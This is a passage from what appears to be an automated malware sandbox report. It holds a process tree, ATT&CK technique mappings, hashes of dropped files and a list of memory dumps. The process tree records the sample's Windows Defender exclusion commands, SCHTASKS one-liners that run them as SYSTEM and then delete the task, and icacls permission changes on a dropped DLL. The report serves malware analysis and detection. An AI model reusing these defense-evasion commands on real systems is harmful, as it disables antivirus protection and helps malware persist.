    - System Location Discovery: System Language Discovery
    PID:2572
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2392
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5196
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5028
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1884
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4596
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5840
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2544
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\azRcjb\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\azRcjb\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4516
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3204
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1692
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4636
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4900

C:\Users\Public\9hQPuk\FgfWV8.exe
"C:\Users\Public\9hQPuk\FgfWV8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5068

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\9hQPuk" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3744
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\9hQPuk" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2912

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5676

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6044
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3308

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5432
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:364

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5276
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2856

C:\Program Files (x86)\azRcjb\azRcjb.exe
"C:\Program Files (x86)\azRcjb\azRcjb.exe"
1⤵
- Executes dropped EXE
PID:5608

C:\Program Files (x86)\8vl1s9\T02EQ0s.exe
"C:\Program Files (x86)\8vl1s9\T02EQ0s.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3476

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\azRcjb" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4500
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\azRcjb" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4296

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4336
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5448

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1500
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4808

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3464
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5668

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5368
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4164

C:\Program Files (x86)\azRcjb\azRcjb.exe
"C:\Program Files (x86)\azRcjb\azRcjb.exe"
1⤵
PID:3600

C:\Program Files (x86)\8vl1s9\T02EQ0s.exe
"C:\Program Files (x86)\8vl1s9\T02EQ0s.exe"
1⤵
PID:5856

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\8vl1s9\XPSPLOG.dll
Size 4.6MB
SHA256 aab31b64d3b0a67faf1316dfd22c9f7f91849f7e1558581c4f00144123f5d5f8
MD5 362b1049c18027abf023d3a24d5df597
SHA1 74f1939b8bd93f1b8ac617dad158a03dafacf8f2
SHA512 cc5c8a3982c93201de1c181d32d3f69811ad7365fd9010f26108acda444c3437776836b9e330b6cec286c87d1c38826c9a6d4b9d028d09dbd44084de87bc28e4
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyl:BMWKfU+BcUTHCCCfqCiUffnl
TLSH
T1E2263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\8vl1s9\image.png
Size 4.8MB
SHA256 1562c444880179eccf4173c0dd96a10fca16f9fc4322255b5fcfbb37c4f3b0bc
MD5 bb3251a30ec1bd85d3e031579be6375e
SHA1 c9b90b37be510643b4bb6d572e05aa2e8ccf7420
SHA512 38c119c592469a10d989daae063fd32a48f47fedb574a3e406ae1ddd44851241473aa83c90d90adf5d1267a2728a0b6dd46680fd35d29d3e651eec531c09c3ac
SSDEEP 98304:S/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:SMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T13736334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\azRcjb\XPSPLOG.dll
Size 4.6MB
SHA256 40bc0044ca7932f10285089ef061dc843d6705cbc788760576133206d092d75e
MD5 675ed164021423b02d945b20dde8fa6f
SHA1 d5ee93963274dffa8f3047a67ad517d12c0ff8e8
SHA512 b8e06dc060da7f92c562d310ac4a8d4b53a8d196ac465a674e521cadf69f1eb70a783f82bef5ef154c18a4d16d6261a768e4bd4d0ca42b3d96f733c2932a4612
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyL:BMWKfU+BcUTHCCCfqCiUffnL
TLSH
T166263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

azRcjb.exe

Path C:\Program Files (x86)\azRcjb\azRcjb.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\azRcjb\image.png
Size 4.8MB
SHA256 062a0fefb092c4ebd24f0694a3a9f03e57777d9aebf81493c49952aa47e6e958
MD5 1f5514494b43126a76a67522b2a863cb
SHA1 09e876c59d17b473c82c079472b0e970b0c61753
SHA512 74b584297e0c8a08a1d9321935ed32a716b2e2203246e4ce85ae6e1d034f5dccc61cb0b548db2540398467c0b5665d2126b3b3ff67854a50583c8b7a433d35f8
SSDEEP 98304:L/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:LMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T18236334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\azRcjb\thumbs.db
Size 358KB
SHA256 81be1483caa99a89b12428067135824026a22b2c202a8e75b40394f42d9fa1f8
MD5 463d739841658b1756f219160bc47212
SHA1 ac82d0a191f6982e7ff71056dce1321f7978880c
SHA512 773a452022bbf1e2f2162fdd821958b7d43b67340de1a8c23caaa59407162b959f06088616d27cd66b87f4c325c13138e4123a060bd4392b803be09d49cf1aee
SSDEEP 6144:ziACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:G8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T11A74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 1a1951a1b08d8df866cfd7d12096ab2bc6416d153ed6635909c2739b2bae8edf
MD5 3b2950da07e5e460b9c252c74b0ed086
SHA1 3be5d35005e918e9e6dc21a3ae98255329b9fafd
SHA512 dc6b07f8865221e192631287fd5a0f19f7ca3f92183ca316c76c0adbafa3a891fa371f81aa2a624f5cdedbe9c2f2144e3e9d56123ef4ca486e5c6bce64fd3173
TLSH
T1A33177BB2B7D79C69B3A4D4525CDF2226DF9D0805D85049A2128C8E45E843F32F5A60E
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 140ddad6346ab9e2215d6852a87a1674567d4881fab6f2e5c3507fb9cfc7f18c
MD5 16b768681a89a0a2da1365ff7d2f3d0a
SHA1 6e995c36f45c228538e70da8c8476a724c3bd328
SHA512 c1e1f4a2edc2e35fd119e93e517d7a89388440e5af067dbca3ac6a19c87a86976ea80b94051aa7a04cee50cc46c680a383858b0869b72a11e3e6bd5d5dfd6865
TLSH
T1F031F8A39E795053EB0C2FA966D1C6373CF0B674ADE44845763EC2AF8605B77AF85008
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 4c608b1ea284a42e2dd8e68f3c5131aa4363a4844e60d45dfbabb062686a4ba4
MD5 91a661f6e51540c1c3f2f4ca0ffea1db
SHA1 8562eba54cef3052ad72812e3de6527f2157ecb4
SHA512 560c72508e197d97c91c2cdd3e053e8016f6531471bcc5c0a8ca31f682fa51ca706b3d0781e4b96dbde700ef78f49096a757add6f256130e72e445f769eec8d1
TLSH
T1A5F0970869B8A23CF0B2C93D8ADC3DA6076BF602100359980BF18B0860225967D125BE
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 c31cd8e7a82b801f77ae6467b5fbc11ff79a6847dac0bd74b0909da7fc466a29
MD5 2aecd5d1e3195eebc5c18b0dabe28450
SHA1 77a87987096957ee3b0e52b2dd145f9fc6ac8dc5
SHA512 193d356ace6de493d58eeac53123d58f16e33568d5384e968ab0d8e043db46b50580ab2239ae73103007ecb3e75893e7361efb0c7b42e4f7a5437e96cbf46c98
TLSH
T1A9F05C3D56EE001BF17BC1B8CBC67D735F66EA632006767A09E947445E92C416C812B9
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0394d3bf06ac7c0f27dba7065769b0b8f5a6e6d9cdeaaf95d008c37c2a0e964d
MD5 58c07a07981ff373b0e56a80f2c10132
SHA1 3d1fcb4e6b152f0a49854081f320ebbcede99ff3
SHA512 967ccd903101067fe1cdd4b2fb8588511c9f141860bf37a4949ac9a4a7dc6b55db5fc9783a737aa1babd3539833a03d952092808e2f19d52727643d803e07f9e
TLSH
T132216833B3DD8614C89A413A10CEAC1036B6C7DB40DECFAB7B84E659A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_t1123j1v.0wv.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t1123j1v.0wv.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

FgfWV8.exe

Path C:\Users\Public\9hQPuk\FgfWV8.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\9hQPuk\UxEnhance64.dll
Size 3.1MB
SHA256 85503cd6c48a078004821753a94ffc0625e81becfb513dbf11c38d2c7afb8d5c
MD5 294d1ae403c335c4a9ae4ed43eeee6e1
SHA1 1bb5848c752c7a6b08e7638d9685fc41436dfe12
SHA512 d73bfc6e7b9e1c0a81ef89331d44bd1c2e62fab243638a1128f767f2dcbc9a6dad72556801cd6b89de1ca2e9251c93b4afa7594ce12f2015be0de76f27620ab0
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+a:P9m29xx3Tiqt06ox6+z2rNNrKoa
TLSH
T1FFE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\9hQPuk\adoresd.dat
Size 4.8MB
SHA256 6f471ee2a4ac7e6e685fab8a47ecfd748085357b159c7621715a430ba34d9a46
MD5 264df9379aa97a36577500f642b1f4b8
SHA1 1b654b974319e7ce4aeb6037df1541d71cd7470b
SHA512 04171bf33419e4c31dd24dbd02b692f085716af5537528f527f2a44d05944f78d380f1a7300ee5a9f0cc76f37879f2488c13506cd67c6adb8e776e1661a852e2
SSDEEP 98304:QWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:QWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T19F3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\9hQPuk\msadox.tb
Size 8KB
SHA256 3689fb5753b1f1c320866a8dcb5ad3527f086bb86e192258567564413704a484
MD5 3694427991fdfb9cc8de3b3b35a46ff0
SHA1 61e9fff6a20e5d3457d0ec08f1d93ffac0851470
SHA512 b8bb65e1d1dea537400d7713f37e8df6f0a8791577ab69be7962b696e49d8585c0737957ecaeb45668f7e2b908be1f6d4404c534658fee7578dfe35f522d989a
SSDEEP 192:DqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:DsZqZOXQ3uqvR2Kfzp
TLSH
T101029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/1368-566-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-533-0x00007FFF37A00000-0x00007FFF37F1E000-memory.dmp

Download

memory/1368-558-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-564-0x000001E4D8100000-0x000001E4D818A000-memory.dmp

Download

memory/1368-563-0x000001E4D8100000-0x000001E4D818A000-memory.dmp

Download

memory/1368-562-0x000001E4D8100000-0x000001E4D818A000-memory.dmp

Download

memory/1368-561-0x000001E4D8100000-0x000001E4D818A000-memory.dmp

Download

memory/1368-560-0x000001E4D8000000-0x000001E4D804E000-memory.dmp

Download

memory/1368-546-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-568-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-569-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-548-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-547-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-541-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-545-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-532-0x00007FFF58650000-0x00007FFF58652000-memory.dmp

Download

memory/1368-540-0x00007FFF58660000-0x00007FFF58662000-memory.dmp

Download

memory/1368-552-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/1368-538-0x000001E4D8BB0000-0x000001E4D9487000-memory.dmp

Download

memory/3476-756-0x0000000000A90000-0x0000000000A91000-memory.dmp

Download

memory/3476-745-0x0000000003390000-0x0000000003B6D000-memory.dmp

Download

memory/3476-740-0x0000000000A90000-0x0000000000A91000-memory.dmp

Download

memory/3476-753-0x0000000003390000-0x0000000003B6D000-memory.dmp

Download

memory/3476-741-0x0000000072D80000-0x00000000734CA000-memory.dmp

Download

memory/3476-752-0x0000000000F80000-0x0000000000F81000-memory.dmp

Download

memory/3600-788-0x0000000074C20000-0x000000007536A000-memory.dmp

Download

memory/3600-787-0x00000000014C0000-0x00000000014C1000-memory.dmp

Download

memory/3600-791-0x0000000003AD0000-0x00000000042AD000-memory.dmp

Download

memory/3600-803-0x00000000014C0000-0x00000000014C1000-memory.dmp

Download

memory/3600-800-0x0000000003AD0000-0x00000000042AD000-memory.dmp

Download

memory/3600-799-0x00000000014E0000-0x00000000014E1000-memory.dmp

Download

memory/4112-606-0x00000258DBD50000-0x00000258DBD6E000-memory.dmp

Download

memory/4112-607-0x00000258DBD70000-0x00000258DBE22000-memory.dmp

Download

memory/4112-609-0x00000258DBB30000-0x00000258DBB3A000-memory.dmp

Download

memory/4112-611-0x00000258C2A40000-0x00000258C33E4000-memory.dmp

Download

memory/4112-602-0x00000258DBAD0000-0x00000258DBAF2000-memory.dmp

Download

memory/4888-680-0x0000000074C20000-0x000000007536A000-memory.dmp

Download

memory/4888-686-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4888-685-0x00000000009D0000-0x00000000009D1000-memory.dmp

Download

memory/4888-690-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4888-697-0x00000000009F0000-0x0000000000A04000-memory.dmp

Download

memory/4888-683-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4888-703-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/4888-712-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4888-698-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4888-729-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4888-678-0x00000000007D0000-0x00000000007D1000-memory.dmp

Download

memory/4888-748-0x0000000006560000-0x000000000659D000-memory.dmp

Download

memory/4888-759-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/5024-0-0x0000000000560000-0x000000000056E000-memory.dmp

Download

memory/5024-1-0x0000000000560000-0x000000000056E000-memory.dmp

Download

memory/5024-526-0x0000000000560000-0x000000000056E000-memory.dmp

Download

memory/5024-504-0x00007FFF4FEA0000-0x00007FFF4FEB2000-memory.dmp

Download

memory/5024-527-0x00007FFF4FEA0000-0x00007FFF4FEB2000-memory.dmp

Download

memory/5024-2-0x0000000002050000-0x000000000205C000-memory.dmp

Download

memory/5068-590-0x000002CB29BA0000-0x000002CB2A477000-memory.dmp

Download

memory/5068-589-0x000002CB29BA0000-0x000002CB2A477000-memory.dmp

Download

memory/5068-581-0x000002CB29BA0000-0x000002CB2A477000-memory.dmp

Download

memory/5068-574-0x00007FFF37A00000-0x00007FFF37F1E000-memory.dmp

Download

memory/5068-584-0x00007FFF58660000-0x00007FFF58662000-memory.dmp

Download

memory/5068-585-0x000002CB29BA0000-0x000002CB2A477000-memory.dmp

Download

memory/5068-592-0x000002CB29BA0000-0x000002CB2A477000-memory.dmp

Download

memory/5068-591-0x000002CB29BA0000-0x000002CB2A477000-memory.dmp

Download

memory/5068-593-0x00007FFF58650000-0x00007FFF58652000-memory.dmp

Download

memory/5548-761-0x00000000062C0000-0x00000000062E2000-memory.dmp

Download

memory/5548-766-0x0000000006550000-0x00000000068AB000-memory.dmp

Download

memory/5548-770-0x0000000006A80000-0x0000000006ACC000-memory.dmp

Download

memory/5548-771-0x0000000007AF0000-0x0000000007B26000-memory.dmp

Download

memory/5548-772-0x0000000072ED0000-0x0000000072F1C000-memory.dmp

Download

